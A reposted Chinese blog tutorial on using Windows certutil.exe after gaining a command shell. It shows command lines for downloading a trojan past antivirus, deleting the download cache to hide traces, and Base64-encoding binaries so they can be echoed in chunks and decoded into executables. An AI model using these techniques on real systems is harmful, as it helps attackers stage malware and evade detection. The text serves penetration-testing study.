文件上傳的一個騷操作學習(Certutil學習)


前言

學習自Hack學習呀,文件上傳的一個騷操作(低權限+BypassAV)
當我們碰到有一個cmdshell,想要下載一個木馬然后直接上線,但是直接通過powershell,echo webshell,bitsadmin等方式可能會彈框提示
由於certutil還支持二進制文件的下載,可以通過certutil通過編解碼的方式將二進制文件上傳上去
文章大部分參考Snowming04,3gstudent

Certutil

Certutil 是 Windows 操作系統上預裝的工具,可用於 校驗文件MD5、SHA1、SHA256,下載惡意文件和免殺
Certutil.exe是一個命令行程序,作為證書服務的一部分安裝。您可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件以及驗證證書,密鑰對和證書鏈

常用的命令參數:

  • -f
    覆蓋現有文件。
    有值的命令行選項。后面跟要下載的文件 url。

  • -split
    保存到文件。
    無值的命令行選項。加了的話就可以下載到當前路徑,不加就下載到了默認路徑。

  • -URLCache
    顯示或刪除URL緩存條目。
    無值的命令行選項。
    (certutil.exe 下載有個弊端,它的每一次下載都有留有緩存。)

  • -encode
    將文件編碼為Base64

  • -decode
    解碼Base64編碼的文件

下載功能

(1)保存在當前路徑,文件名稱同URI
certutil.exe -urlcache -split -f 文件url

(2)保存在默認路徑,緩存目錄中
certutil.exe -urlcache -f 文件url

修改后綴,或者用編輯器打開就是文件內容
緩存目錄位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
(3)保存在指定路徑並且指定文件名
certutil.exe -urlcache -split -f 文件url file.txt

(4)保存二進制文件
certutil.exe -urlcache -split -f 二進制文件url
同上

清除痕跡

由於每次下載都有緩存,所以每次下載完可以帶delete命令刪除緩存
查看所有緩存
certutil.exe -urlcache *
刪除相應URL緩存
certutil.exe -urlcache -split -f 文件url delete

base64編碼轉換

base64編碼
certutil.exe -encode InFile OutFile

base64解碼
certutil.exe -decode InFile OutFile

編碼二進制文件

本地編解碼

遠程編解碼
遠程需要用echo 寫入txt中
直接復制粘貼寫入是不行的,可以去掉標識頭尾,然后去除空格,作為連貫的字符,這里用Snowming04師傅的格式轉化腳本

with open('hello.txt') as f:
    with open('hello_new.txt','w') as n:
        for i in f.readlines():
            i = str(i.split()).strip("['").strip("']")
            n.write(i)

由於命令提示符下輸入的字符有限制,因此不能直接echo寫入

可以按照Snowming04師傅的分段方法,所以工具越小越好,可以直接編解碼還原成exe或者dll等二進制文件,再執行上線

參考文章:
https://3gstudent.github.io/3gstudent.github.io/滲透測試中的certutil.exe/
https://mp.weixin.qq.com/s/Cnn5X_-LLPIKmOndD80RAA
http://blog.leanote.com/post/snowming/f883d0b49413(讀完雪師傅的文章,感覺Certutil在不出網又能命令執行的環境下能發揮較大用處)
延伸文章:
https://www.cnblogs.com/xiaozi/p/12721960.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM